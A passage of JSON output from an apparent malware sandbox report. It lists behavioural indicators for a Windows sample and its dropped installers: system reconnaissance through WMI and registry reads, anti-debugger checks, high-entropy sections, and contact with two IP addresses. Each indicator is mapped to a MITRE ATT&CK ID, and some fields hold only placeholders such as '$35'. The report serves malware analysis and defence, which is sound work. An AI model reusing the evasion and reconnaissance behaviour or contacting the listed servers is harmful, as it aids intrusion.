query \"$objects\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT OSArchitecture FROM Win32_OperatingSystem\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT Caption FROM Win32_OperatingSystem\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" queries volume information of \"C:\\fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" at 00000000-00005760-00000C17-1683770934","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"InstallSetup_four.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"288c47bbc1871b439df19ff4df68f076.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"EasyAppns.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"april.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"EasyApp.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\INSTALLSETUP_FOUR.EXE\")\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\EASYAPPNS.EXE\")\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\288C47BBC1871B439DF19FF4DF68F076.EXE\")\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\APRIL.EXE\")\n \"EasyAppns.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\EASYAPP.EXE\")\n \"april.tmp\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\SENIOR FLASH DECOMPILER_IS1\")\n \"april.tmp\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\SENIOR FLASH DECOMPILER_IS1\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":".rdata section contains high entropy","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" has section name .rdata with entropy \"7.991861365084636\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-187","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"svchost.exe\"\n Report process \"WerFault.exe\" was created by \"flashdecompiler32.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$35","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"$38","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.172.128.90:80\"\n \"185.172.128.187:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Select * from Win32_ComputerSystem\" (Source: fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3, Indicator: \"select * from win32_computersystem\")\n \"SELECT * FROM Win32_OperatingSystem\" (Source: 63370-982-0006CE64, Indicator: \"select * from win32_operatingsystem\")\n \"SELECT * FROM Win32_OperatingSystem\" (Source: 00000000-00001560.00000000.171932.00096000.00000002.mdmp, Indicator: \"select * from win32_operatingsystem\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")\n Found reference to API \"CreateProcess failed (%d).\" (Indicator: \"CreateProcess\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyEx\" (Indicator: \"RegCreateKey\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"$3a","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.File\" and MemberReference \"GetAttributes\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.get_StartInfo\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"\n Observed function \"Process.Start\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$42","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileW in import section (Source: EasyAppns.exe)\n Found MoveFileA in import section (Source: is-KQJQP.tmp)\n Found MoveFileA in import section (Source: april.tmp)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$43","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"$44","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\SM0:5760:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5760:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:5760:64:WilError_01\"\n \"\\BaseNamedObjects\\SyncRootManager\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5760:64:WilError_01\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:5760:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"SM0:5760:168:WilStaging_02\"\n \"SM0:5760:64:WilError_01\"\n \"Local\\SM0:5760:64:WilError_01\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:8076:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8076:168:WilStaging_02\"\n \"Local\\SM0:8076:168:WilStaging_02\"\n \"SM0:8076:168:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:7560:168:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to query registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"OpenSubKey\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1012","relevance":1,"id":"static-138","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$45","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"EasyAppns.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"is-85VUO.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n \"is-IRLGV.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n \"is-UM722.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n \"is-AB0VE.tmp\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"GetModuleHandle\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"\n Observed unmanaged function \"CheckRemoteDebuggerPresent\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\" (Indicator: \"mozilla/5.0 (\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$46","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"EasyAppns.exe\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 72990000\n \"april.tmp\" loaded module \"%WINDIR%\\SysWOW64\\riched20.dll\" at 72990000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-2","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 70040000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"$47","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 721D0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000\n \"InstallSetup_four.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000\n \"288c47bbc1871b439df19ff4df68f076.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000\n \"EasyAppns.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 76EE0000\n \"april.exe\" loaded module 